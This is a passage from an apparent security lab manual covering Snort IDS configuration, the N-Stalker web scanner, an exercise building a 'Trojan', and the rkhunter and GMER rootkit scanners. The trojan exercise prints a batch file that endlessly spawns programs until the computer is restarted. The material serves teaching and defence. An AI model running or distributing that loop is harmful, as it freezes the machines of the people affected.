9. To run snort in IDS mode, you will need to configure the file “snort.conf” according to your
network environment.
10. To specify the network address that you want to protect in snort.conf file, look for the following
line. var HOME_NET 192.168.1.0/24 (You will normally see any here)
11. You may also want to set the addresses of DNS_SERVERS, if you have some on your network.

Example:
example snort

12. Change the RULE_PATH variable to the path of rules folder. var RULE_PATH 'c:\snort\rules' path
to rules
13. Change the path of all library files with the name and path on your system. and you must change
the path of snort_dynamicpreprocessorvariable.
C:\Snort\lib\snort_dynamiccpreprocessor
You need to do this to all library files in the “C:\Snort\lib” folder. The old path might be:
“/usr/local/lib/…”. you will need to replace that path with your system path. Using C:\Snort\lib

14. Change the path of the “dynamicengine” variable value in the “snort.conf”
file.. Example:
dynamicengine C:\Snort\lib\snort_dynamicengine\sf_engine.dll

15. Add the paths for “include classification.config” and “include reference.config”
files. include c:\snort\etc\classification.config
include c:\snort\etc\reference.config

16. Remove the comment (#) on the line to allow ICMP rules, if it is commented with a
#. include $RULE_PATH/icmp.rules

17. You can also remove the comment of ICMP-info rules comment, if it is commented.
include $RULE_PATH/icmp-info.rules

18. To add log files to store alerts generated by snort, search for the “output log” test in snort.conf and
add the following line:
output alert_fast: snort-alerts.ids

19. Comment (add a #) the whitelist


$WHITE_LIST_PATH/white_list.rules and the
blacklist Change the nested_ip inner , \ to nested_ip
inner #, \

20. Comment out (#) following


lines: #preprocessor normalize_ip4
#preprocessor normalize_tcp: ips ecn stream
#preprocessor normalize_icmp4
#preprocessor normalize_ip6
#preprocessor normalize_icmp6

21. Save the “snort.conf” file.

22. To start snort in IDS mode, run the following command:


35
snort -c c:\snort\etc\snort.conf -l c:\snort\log -i 3
(Note: 3 is used for my interface card)
If a log is created, select the appropriate program to open it. You can use WordPard or NotePad++ to read
the file.
To generate Log files in ASCII mode, you can use following command while running snort in IDS mode:
snort -A console -i3 -c c:\Snort\etc\snort.conf -l c:\Snort\log -K ascii
23. Scan the computer that is running snort from another computer by using PING or NMap
(ZenMap). After scanning or during the scan you can check the snort-alerts.ids file in the log folder to
insure it is logging properly. You will see IP address folders appear.
Snort monitoring traffic –

RESULT:
Thus, the Intrusion Detection System(IDS) has been demonstrated by using the Open Source Snort
Intrusion Detection Tool.
36
EXPLORING N-STALKER, A VULNERABILITY ASSESSMENT TOOL
Ex No: 7 B
Date:

AIM:
To download the N-Stalker Vulnerability Assessment Tool and exploring the features.

EXPLORING N-STALKER:
• N-Stalker Web Application Security Scanner is a Web security assessment tool.
• It incorporates with a well-known N-Stealth HTTP Security Scanner and 35,000 Web attack
signature databases.
• This tool also comes in both free and paid version.
• Before scanning the target, go to “License Manager” tab, perform the update.
• Once update, you will note the status as up to date.
• You need to download and install N-Stalker from www.nstalker.com.
1. Start N-Stalker from a Windows computer. The program is installed under Start ➪ Programs ➪ N-
Stalker ➪ N-Stalker Free Edition.
2. Enter a host address or a range of addresses to scan.
3. Click Start Scan.
4. After the scan completes, the N-Stalker Report Manager will prompt
5. you to select a format for the resulting report as choose Generate HTML.
6. Review the HTML report for vulnerabilities.

37
Now goto “Scan Session”, enter the target URL.
In scan policy, you can select from the four options,
• Manual test which will crawl the website and will be waiting for manual attacks.
• full xss assessment
• owasp policy
• Web server infrastructure analysis.
Once, the option has been selected, next step is “Optimize settings” which will crawl the whole website for
further analysis.
In review option, you can get all the information like host information, technologies used, policy name,
etc.

38
Once done, start the session and start the scan.
The scanner will crawl the whole website and will show the scripts, broken pages, hidden fields,
information leakage, web forms related information which helps to analyse further.

Once the scan is completed, the NStalker scanner will show details like severity level, vulnerability class,
why is it an issue, the fix for the issue and the URL which is vulnerable to the particular vulnerability?

39
RESULT:
Thus, the N-Stalker Vulnerability Assessment tool has been downloaded, installed and the features
has been explored by using a vulnerable website.
40
EXPLORING N-STALKER, A VULNERABILITY ASSESSMENT TOOL
Ex No: 8 A
Date:

AIM:
To build a Trojan and know the harmness of the trojan malwares in a computer system.

PROCEDURE:
1. Create a simple trojan by using Windows Batch File (.bat)
2. Type these below code in notepad and save it as Trojan.bat
3. Double click on Trojan.bat file.
4. When the trojan code executes, it will open MS-Paint, Notepad, Command Prompt, Explorer, etc.,
infinitely.
5. Restart the computer to stop the execution of this trojan.

TROJAN:
• In computing, a Trojan horse,or trojan, is any malware which misleads users of its true intent.
• Trojans are generally spread by some form of social engineering, for example where a user is duped
into executing an email attachment disguised to appear not suspicious, (e.g., a routine form to be filled
in), or by clicking on some fake advertisement on social media or anywhere else.
• Although their payload can be anything, many modern forms act as a backdoor, contacting a
controller which can then have unauthorized access to the affected computer.
• Trojans may allow an attacker to access users' personal information such as banking
information, passwords, or personal identity.
• Example: Ransomware attacks are often carried out using a trojan.

CODE:
Trojan.bat
@echo off
:x
start mspaint
start notepad
start cmd
start explorer
start control
start calc
goto x

RESULT:
Thus, a trojan has been built and the harmness of the trojan viruses has been explored.

41
DEFEATING MALWARE - ROOTKIT HUNTER
Ex No: 8 B
Date:

AIM:
To install a rootkit hunter and find the malwares in a computer.

ROOTKIT HUNTER:
• rkhunter (Rootkit Hunter) is a Unix-based tool that scans for rootkits, backdoors and possible
local exploits.
• It does this by comparing SHA-1 hashes of important files with known good ones in online databases,
searching for default directories (of rootkits), wrong permissions, hidden files, suspicious strings in kernel
modules, and special tests for Linux and FreeBSD.
• rkhunter is notable due to its inclusion in popular operating systems (Fedora, Debian, etc.)
• The tool has been written in Bourne shell, to allow for portability. It can run on almost all UNIX-derived
systems.

GMER ROOTKIT TOOL:


• GMER is a software tool written by a Polish researcher Przemysław Gmerek, for detecting and
removing rootkits.
• It runs on Microsoft Windows and has support for Windows NT, 2000, XP, Vista, 7, 8 and 10.
With version 2.0.18327 full support for Windows x64 is added.

Step 1:

Visit GMER's website (see Resources) and download the GMER executable.
Click the "Download EXE" button to download the program with a random file name, as some rootkits
will close “gmer.exe” before you can open it.

42
Step 2:

Double-click the icon for the program.


Click the "Scan" button in the lower-right corner of the dialog box. Allow the program to scan your entire
hard drive.

Step 3:

49
When the program completes its scan, select any program or file listed in red. Right-click it and select
"Delete."
If the red item is a service, it may be protected. Right-click the service and select "Disable." Reboot your
computer and run the scan again, this time selecting "Delete" when that service is detected.
When your computer is free of Rootkits, close the program and restart your PC.

RESULT:
In this experiment a rootkit hunter software tool has been installed and the rootkits have been
detected.

43

You might also like